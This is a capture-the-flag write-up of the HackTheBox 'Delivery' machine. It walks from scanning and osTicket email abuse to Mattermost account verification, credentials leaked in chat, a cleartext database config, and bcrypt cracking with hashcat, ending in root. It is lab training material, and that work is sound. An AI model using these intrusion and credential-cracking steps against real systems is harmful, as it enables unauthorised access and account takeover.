Skip to content

Delivery Writeup - HackTheBox

Easy Linux
Mohammad Meraj

Independent Security Researcher

Delivery is a Linux box running two web applications that trust each other by accident. The chain runs: an osTicket helpdesk that hands out a working email address per ticket, a Mattermost registration verified through that address, SSH credentials posted in an internal channel, database credentials in the Mattermost config, and a bcrypt hash that falls in seconds because the same channel leaked the password pattern.

Reconnaissance

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
Open $TARGET_IP:22
Open $TARGET_IP:80
Open $TARGET_IP:8065
Explain command
-a $TARGET_IP Address to sweep for open ports across the full range.
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -p22,80,8065 $TARGET_IP -oA nmap/nmap
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
80/tcp   open  http    nginx 1.14.2
|_http-title: Welcome
8065/tcp open  http    Golang net/http server
|_http-title: Mattermost
| http-robots.txt: 1 disallowed entry
|_/
Explain command
-sCV Run the default script set and probe service versions.
-p22,80,8065 Limit the scan to the ports rustscan already found open.

Two independent web applications: a static nginx site on 80 and a Mattermost team chat on 8065. The site on 80 links to delivery.htb and helpdesk.delivery.htb, so both names go in /etc/hosts.

Enumeration

The helpdesk

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://helpdesk.delivery.htb/FUZZ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -e .php,.html,.cgi,.txt -mc 200,301,302,303,403 -fs 4933
view.php                [Status: 200]
account.php             [Status: 200]
open.php                [Status: 200]
manage.php              [Status: 200]
captcha.php             [Status: 200]
logout.php              [Status: 302]
kb                      [Status: 301]
api                     [Status: 301]
Explain command
-e .php,.html,.cgi,.txt Also try these extensions on every wordlist entry.
-fs 4933 Filter out the default response size so only real pages remain.

That file set is osTicket. A helpdesk accepts input from anonymous users by design, and Mattermost on the same host requires a verified email address before an account can log in. Those two facts combine.

Vulnerability Discovery

A mailbox from a support ticket

Opening a ticket with throwaway details returns a ticket id and, more importantly, an address to reply to.

You may check the status of your ticket, by navigating to the Check Status page using ticket id: 9669049.

If you want to add more information to your ticket, just email 9669049@delivery.htb.

osTicket threads any mail sent to <ticket-id>@delivery.htb into the ticket, and the ticket is readable by whoever holds the id. That is effectively an inbox on the delivery.htb domain, which is exactly what Mattermost wants to verify.

Exploitation

Registering on Mattermost

Registering at http://delivery.htb:8065/ with the ticket address sends the verification mail straight into the ticket thread, where it appears as a new reply.

---- Registration Successful ---- Please activate your email by going to:
http://delivery.htb:8065/do_verify_email?token=w6kjtmttoykocpc1o7b6e8oakp1g37y3kem97wrknp4tdgi4ttkjh71wmup9ceww&email=9669049%40delivery.htb

Following the link activates the account. Neither application validates who is reading the mailbox, and neither knows the other exists.

Credentials in the internal channels

With a verified account the team channels are readable, and one conversation carries two separate leaks.

@developers Please update theme to the OSTicket before we go live.
Credentials to the server are maildeliverer:$MAILDELIVERERS_PASSWORD

Also please create a program to help us stop re-using the same passwords everywhere....
Especially those that are a variant of "$PASSWORD_BASE"

SSH credentials, plus the fact that every password on the box is a mutation of one base string. The second half matters later.

┌──(kali㉿kali)-[~]
└─$ ssh maildeliverer@delivery.htb
maildeliverer@delivery.htb's password:
Linux Delivery 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64
maildeliverer@Delivery:~$ whoami
maildeliverer

Foothold as maildeliverer.

Privilege Escalation

Mattermost on disk

linpeas.sh flags /opt, which is empty on a stock Debian install, and here holds the Mattermost installation.

maildeliverer@Delivery ~ $ ls -la /opt
drwxrwxr-x 12 mattermost mattermost 4096 Jul 14  2021 mattermost
maildeliverer@Delivery ~ $ grep -A2 DataSource /opt/mattermost/config/config.json
"DataSource": "mmuser:$MMUSERS_PASSWORD@tcp(127.0.0.1:3306)/mattermost?charset=utf8mb4,utf8&readTimeout=30s&writeTimeout=30s"

The application's own database credentials sit in cleartext in a file maildeliverer can read. Mattermost keeps its accounts in that database, hashes included.

Reading the users table

maildeliverer@Delivery ~ $ mysql -u mmuser -p'$MMUSERS_PASSWORD' -h 127.0.0.1 mattermost
mysql> SELECT Username, Password, Roles FROM Users WHERE Username = 'root';
| root | $ROOTS_HASH | system_admin system_user |
Explain command
-u mmuser Database user from the config file.
-h 127.0.0.1 Connect over loopback, which is the only interface MariaDB listens on.

A bcrypt hash with a $2a$ prefix, deliberately slow to attack. A generic wordlist would be hopeless, but the chat already gave the base string, so the only unknown is the mutation applied to it. Hashcat's best64.rule covers exactly that class of change: appended digits, capitalisation, common substitutions.

┌──(kali㉿kali)-[~]
└─$ echo '$PASSWORD_BASE' > pass
┌──(kali㉿kali)-[~]
└─$ hashcat -m 3200 hash pass --user -r best64.rule
$ROOTS_HASH:$ROOTS_PASSWORD
Recovered........: 1/1 (100.00%) Digests
Explain command
-m 3200 Hash mode for bcrypt.
--user Strip the username prefix from the hash file.
-r best64.rule Apply the standard mutation rules to the single base password.

The recovered password is the Mattermost password for root, and the same reuse habit the channel complained about means it is worth trying against the local account.

maildeliverer@Delivery ~ $ su root
Password:
root@Delivery:/# whoami
root

Root on the box. Both contexts are covered.

References